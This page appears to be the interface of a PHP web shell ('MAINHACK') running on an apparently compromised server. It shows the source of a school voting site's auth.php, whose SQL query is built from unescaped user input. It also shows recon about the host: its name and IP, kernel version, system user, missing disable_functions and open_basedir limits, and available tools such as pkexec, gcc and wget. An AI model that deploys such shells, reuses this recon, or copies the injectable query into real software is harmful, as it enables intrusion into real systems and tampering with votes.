[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: auth.php
<?php include("functions.php"); if (isset($_GET['schoolCode']) && !empty($_GET['schoolCode'])) { $schoolCode = test_input($_GET['schoolCode']); $message = ""; if ($_SERVER['REQUEST_METHOD'] == 'POST') { $index_no = test_input($_POST['index_no']); $query = "SELECT voting_code FROM enrol_details WHERE voting_code = '$index_no' AND s_code = '$schoolCode' AND vote IS NULL LIMIT 1"; $result = mysqli_query($new, $query); if (mysqli_num_rows($result) > 0) { // ✅ Found student $student = mysqli_fetch_array($result); $getcode = $student['voting_code']; $_SESSION['voting_code'] = $student['voting_code']; header("location:studentballot?schoolCode=$schoolCode"); } else { // ❌ Code not found $message = "<div class='alert alert-danger text-center'>Invalid voting code/Already voted. Please try again.</div>"; } } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Authentication</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet"> <style> body { background: url('okk.jpg') no-repeat center center fixed; /* Replace with your image */ background-size: cover; display: flex; justify-content: center; align-items: center; height: 70vh; margin: 0; } .attendance-card { width: 100%; max-width: 400px; padding: 20px; border-radius: 12px; box-shadow: 0 4px 12px rgba(0,0,0,0.2); background: rgba(255, 255, 255, 0.9); backdrop-filter: blur(5px); } .clock { font-size: 1.8rem; font-weight: bold; text-align: center; margin-bottom: 15px; color: #198754; } </style> </head> <body> <div class="attendance-card"> <h4 class="text-center mb-3">Voting Code</h4> <?php if(isset($message) && $message) { echo $message; } ?> <form id="voteForm" method="post" novalidate> <div class="mb-3"> <input type="text" id="index_no" name="index_no" class="form-control text-center" placeholder="Enter your code" required> <div class="invalid-feedback text-center"> Please enter a valid code (only letters and numbers, min 4 characters). </div> </div> <div class="d-grid"> <button type="submit" class="btn btn-success">Verify</button> </div> </form> </div> <script> document.addEventListener("DOMContentLoaded", function () { const form = document.getElementById("voteForm"); const input = document.getElementById("index_no"); form.addEventListener("submit", function (event) { const code = input.value.trim(); const pattern = /^[A-Za-z0-9]{4,}$/; // letters & numbers, at least 4 characters if (!pattern.test(code)) { event.preventDefault(); event.stopPropagation(); input.classList.add("is-invalid"); } else { input.classList.remove("is-invalid"); input.classList.add("is-valid"); } }); }); </script> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 60.07 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002